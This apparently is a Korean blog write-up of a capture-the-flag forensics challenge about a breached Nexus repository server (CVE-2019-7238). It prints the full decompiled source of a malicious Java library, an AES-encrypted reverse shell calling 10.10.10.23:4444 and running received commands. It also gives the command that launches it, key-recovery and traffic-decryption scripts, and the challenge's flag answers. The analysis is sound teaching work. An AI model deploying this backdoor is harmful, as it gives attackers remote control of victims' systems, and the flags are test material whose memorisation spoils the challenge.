HW_chick hacker
[Forensics] The Nexus Breach - Global Cyber Skills Benchmark CTF 2025 본문

개요
사이버 위협으로 가득한 시대에, 국제 범죄 연구소의 전 디지털 포렌식 조사관이었던 탈리온 "바이트 닥터" 레이예스는 국가 기반 시설에 필수적인 중요 시스템을 표적으로 삼은 침해 증거를 발견했습니다. 미묘한 악성 활동 흔적은 사이버 사보타주와 하이브리드 전쟁 전술에 대한 전문성으로 악명 높은 볼나야 제국이 조직한 비밀 작전을 시사합니다. 이 침해는 태스크포스 피닉스가 볼나야 제국의 확장에 맞서 싸우는 데 의존하는 필수 서비스를 마비시킬 위험이 있습니다. 공격자들은 상호 연결된 시스템의 취약점을 악용하여 정교한 기법을 사용하여 탐지를 피하고 광범위한 교란을 유발했습니다. 남겨진 디지털 잔해를 분석하고 공격 타임라인을 재구성하여 위협의 전체 범위를 밝혀낼 수 있습니까?
공격 시나리오 분석
CVE-2019-7238
- Nexus 2.15.1-02 버전 (로그에서 보임)이 영향을 받음
- /nexus/service/local/repositories 경로에 Velocity 템플릿 삽입 코드가 존재함
- 공격자가 Velocity 템플릿 코드를 통해 java -jar /sonatype-work/.../PhoenixCyberToolkit-1.0.jar를 실행함
문제 풀이
1. 플랫폼에 로그인하는 데 어떤 자격 증명이 사용되었습니까? (예: 사용자 이름: 비밀번호)

# flag
admin:dL4zyVJ1y8UhT1hX1m
2. 어떤 Nexus OSS 버전을 사용하고 있나요? (예: 1.10.0-01)

# flag
2.15.1-02
3. 공격자가 지속성을 위해 새 사용자를 생성했습니다. 어떤 자격 증명이 설정되었습니까? (예: 사용자 이름: 비밀번호)

# flag
adm1n1str4t0r:46vaGuj566
4. Java로 작성된 핵심 라이브러리 하나가 변조되어 악성 라이브러리로 대체되었습니다. 패키지 이름은 무엇입니까? (예: com.company.name)

# flag
com.phoenix.toolkit
5. 변조된 라이브러리에는 암호화된 통신 로직이 포함되어 있습니다. 세션 암호화에 사용되는 비밀 키는 무엇입니까? (예: Secret123)

- .jar 파일을 다운로드 후 내부에 있는 APP.class 파일을 추출한다.

APP.class
package com.phoenix.toolkit;
import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.IOException;
import java.io.InputStreamReader;
import java.io.OutputStreamWriter;
import java.net.Socket;
import java.nio.charset.StandardCharsets;
import java.util.Base64;
import javax.crypto.Cipher;
import javax.crypto.spec.SecretKeySpec;
public class App {
private static final String pKzLq7 = Base64.getEncoder().encodeToString(xYzWq8("3t9834".getBytes(), 55));
private static final String wYrNb2 = Base64.getEncoder().encodeToString(xYzWq8("s3cr".getBytes(), 77));
private static final String xVmRq1 = Base64.getEncoder().encodeToString(xYzWq8("354r".getBytes(), 23));
private static final String aDsZx9 = Base64.getEncoder().encodeToString(xYzWq8("34".getBytes(), 42));
private static final int[] nQoMf6 = new int[]{3, 2, 1, 0};
public static void main(String[] args) {
String eFoXk5 = "10.10.10.23";
short yLrUv8 = 4444;
try {
String jAbTs3 = mNoPq5();
Socket rGtMv7 = new Socket(eFoXk5, yLrUv8);
BufferedReader qNxLw1 = new BufferedReader(new InputStreamReader(rGtMv7.getInputStream()));
BufferedWriter vPyBz6 = new BufferedWriter(new OutputStreamWriter(rGtMv7.getOutputStream()));
while(true) {
String fYxKb2 = qNxLw1.readLine();
if (fYxKb2 == null) {
break;
}
String mRpWv8 = uJtXq5(fYxKb2, jAbTs3);
if (mRpWv8.equals("exit")) {
break;
}
String dPsLc3 = jWxNy7(mRpWv8);
String kVbTx4 = aFbGtr4(dPsLc3, jAbTs3);
vPyBz6.write(kVbTx4 + "\n");
vPyBz6.flush();
}
rGtMv7.close();
} catch (Exception var11) {
var11.printStackTrace();
}
}
private static String mNoPq5() throws Exception {
String[] cWlNz5 = new String[]{fGhJk6(pKzLq7, 55), fGhJk6(wYrNb2, 77), fGhJk6(xVmRq1, 23), fGhJk6(aDsZx9, 42)};
StringBuilder qTxMv7 = new StringBuilder();
int[] var2 = nQoMf6;
int var3 = var2.length;
for(int var4 = 0; var4 < var3; ++var4) {
int dZrWp4 = var2[var4];
qTxMv7.append(cWlNz5[dZrWp4]);
}
return gDF5a(qTxMv7.toString());
}
private static String fGhJk6(String gZrMx9, int tPyWl3) {
byte[] jKtXp5 = Base64.getDecoder().decode(gZrMx9);
byte[] yNrQz4 = xYzWq8(jKtXp5, tPyWl3);
return new String(yNrQz4, StandardCharsets.UTF_8);
}
private static byte[] xYzWq8(byte[] mBxNz8, int qVyWp1) {
byte[] rTzXk6 = new byte[mBxNz8.length];
for(int vJlNy3 = 0; vJlNy3 < mBxNz8.length; ++vJlNy3) {
rTzXk6[vJlNy3] = (byte)(mBxNz8[vJlNy3] ^ qVyWp1);
}
return rTzXk6;
}
private static String gDF5a(String bHJ2k) {
StringBuilder fPL7m = new StringBuilder();
int zQW3x = 7;
char[] var3 = bHJ2k.toCharArray();
int var4 = var3.length;
for(int var5 = 0; var5 < var4; ++var5) {
char c = var3[var5];
int yTR8v = ((c ^ zQW3x) + 33) % 94 + 33;
fPL7m.append((char)yTR8v);
}
return fPL7m.toString();
}
private static String jWxNy7(String bKyWq5) throws IOException {
Process wNrXl2 = Runtime.getRuntime().exec(bKyWq5);
BufferedReader tZyMp9 = new BufferedReader(new InputStreamReader(wNrXl2.getInputStream()));
StringBuilder pJlNy4 = new StringBuilder();
String yKxWp7;
while((yKxWp7 = tZyMp9.readLine()) != null) {
pJlNy4.append(yKxWp7).append("\n");
}
return pJlNy4.toString();
}
private static String aFbGtr4(String yXlMp6, String dWzNy3) throws Exception {
SecretKeySpec fZtXp9 = new SecretKeySpec(dWzNy3.getBytes(StandardCharsets.UTF_8), "AES");
Cipher wVyQx2 = Cipher.getInstance("AES");
wVyQx2.init(1, fZtXp9);
return Base64.getEncoder().encodeToString(wVyQx2.doFinal(yXlMp6.getBytes()));
}
private static String uJtXq5(String kVzNy4, String pWlXq7) throws Exception {
SecretKeySpec bFyMp6 = new SecretKeySpec(pWlXq7.getBytes(StandardCharsets.UTF_8), "AES");
Cipher tZrXq9 = Cipher.getInstance("AES");
tZrXq9.init(2, bFyMp6);
return new String(tZrXq9.doFinal(Base64.getDecoder().decode(kVzNy4)));
}
}
# Java AES 암호화 백도어 분석
- 공격자 서버 연결: Socket rGtMv7 = new Socket("10.10.10.23", 4444);
- 암호화된 명령 수신 & 복호화: String cmd = uJtXq5(encrypted, secretKey);
- 명령어 실행: Process proc = Runtime.getRuntime().exec(cmd);
- 실행 결과 암호화 & 전송: String encryptedOutput = aFbGtr4(result, secretKey);
# 암호 키 생성 방식
String key = fGhJk6(pKzLq7, 55) + ...;
key = gDF5a(key); // 추가 변형
- 이 키는 XOR, Base64 디코딩, 커스텀 치환 로직을 거칩니다.
- gDF5a()는 문자별로 비트 XOR + 정수 치환을 수행합니다.
복호화 파이썬 코드
import base64
def xor_encrypt(data: bytes, key: int) -> bytes:
return bytes([b ^ key for b in data])
def fGhJk6(encoded_str: str, xor_key: int) -> str:
decoded = base64.b64decode(encoded_str)
xored = xor_encrypt(decoded, xor_key)
return xored.decode()
def gDF5a_java_equivalent(input_str: str) -> str:
result = ''
for c in input_str:
x = ord(c)
y = ((x ^ 7) + 33) % 94 + 33
result += chr(y)
return result
# Java와 동일한 base64 문자열
b64_parts = [
"BEMODwQD", # index 0
"Pn4uPw==", # index 1
"JCIjZQ==", # index 2
"GR4=" # index 3
]
# 순서: [3, 2, 1, 0]
xor_keys = [55, 77, 23, 42]
ordered_indices = [3, 2, 1, 0]
# 복호화
ordered_plain = [
fGhJk6(b64_parts[i], xor_keys[i]) for i in ordered_indices
]
combined = ''.join(ordered_plain)
print("[+] Combined before gDF5a():", combined)
aes_key = gDF5a_java_equivalent(combined)
print("[+] Final AES Key (same as Java mNoPq5()):", aes_key)
[+] Combined before gDF5a(): 34354rs3cr3t9834
[+] Final AES Key (same as Java mNoPq5()): vuvtuYXvHYvW"#vu
# flag
vuvtuYXvHYvW"#vu
6. (AES) 문자열 복호화 프로세스를 관리하는 함수의 이름은 무엇입니까? (예: aVf41)

# flag
uJtXq5
7. 변조된 JAR을 실행하는 이 세션에 대해 역방향 셸 실행을 트리거한 시스템 명령은 무엇입니까? (예: "java .... &")

Nexus에 RCE 취약점을 이용하여, 자신이 만든 악성 .jar 파일을 Nexus의 저장소 경로에 업로드한 후, 이를 서버 내부에서 java -jar로 실행함.
# flag
java -jar /sonatype-work/storage/snapshots/com/phoenix/toolkit/1.0/PhoenixCyberToolkit-1.0.jar &
8. Nexus 인스턴스에 대한 관리자 권한을 가진 다른 합법적 사용자는 누구입니까("adm1n1str4t0r" 및 "admin" 제외)? (예: john_doe)


- 역방향 쉘을 실행 시킨 이후 TCP 통신이 암호화 되어 있음.
- App.class 코드 분석 내용 대로 base64 인코딩 + XOR 연산 + 커스텀 치환 형식으로 암호화가 되어 있음.
파이썬 난독화 코드
from Crypto.Cipher import AES
import base64
def aes_decrypt(ciphertext_b64: str, key: str) -> str:
# 키는 반드시 16바이트여야 함
if len(key) != 16:
raise ValueError("AES 키 길이는 16바이트여야 합니다.")
key_bytes = key.encode('utf-8')
ciphertext = base64.b64decode(ciphertext_b64)
cipher = AES.new(key_bytes, AES.MODE_ECB)
decrypted = cipher.decrypt(ciphertext)
# 패딩 제거 (PKCS#7 패딩 가정)
pad_len = decrypted[-1]
return decrypted[:-pad_len].decode('utf-8')
# 🔑 복호화 키
aes_key = 'vuvtuYXvHYvW"#vu' # Java mNoPq5() 최종 결과
# 🔐 예시 암호문 (Base64 인코딩된 AES 결과)
while True:
ciphertext_b64 = input("Input (Base64 Encoded Ciphertext): ").strip()
if ciphertext_b64.lower() in ["exit", "quit"]:
print("[-] 종료합니다.")
break
try:
plaintext = aes_decrypt(ciphertext_b64, aes_key)
print(f"[+] 복호화 결과: {plaintext}")
except Exception as e:
print(f"[-] 복호화 실패: {e}")

cat /sonatype-work/conf/security.xml -> 확인
nx-admin 권한이 부여된 계정을 확인
# flag
John_smith
9. 공격자는 지속성을 유지하기 위해 특정 파일에 무언가를 썼는데, 전체 경로는 무엇입니까? (예: /path/file)



# flag
/sonatype-work/storage/.phoenix-updater
10. 암호화된 역방향 셸 세션에서 가장 먼저 실행되는 명령은 무엇입니까? (예: whoami)


# flag
uname -a'CTF' 카테고리의 다른 글
| [Forensics] Phantom Check - Global Cyber Skills Benchmark CTF 2025 (0) | 2025.05.27 |
|---|---|
| [Forensics] Smoke & Mirrors - Global Cyber Skills Benchmark CTF 2025 (0) | 2025.05.27 |
| [Forensics] Ghost Thread - Global Cyber Skills Benchmark CTF 2025 (0) | 2025.05.27 |
| [WEB] Cooking Flask - BYUCTF 2025 (0) | 2025.05.27 |
| [WEB] Willy Wonka Web - BYUCTF 2025 (0) | 2025.05.27 |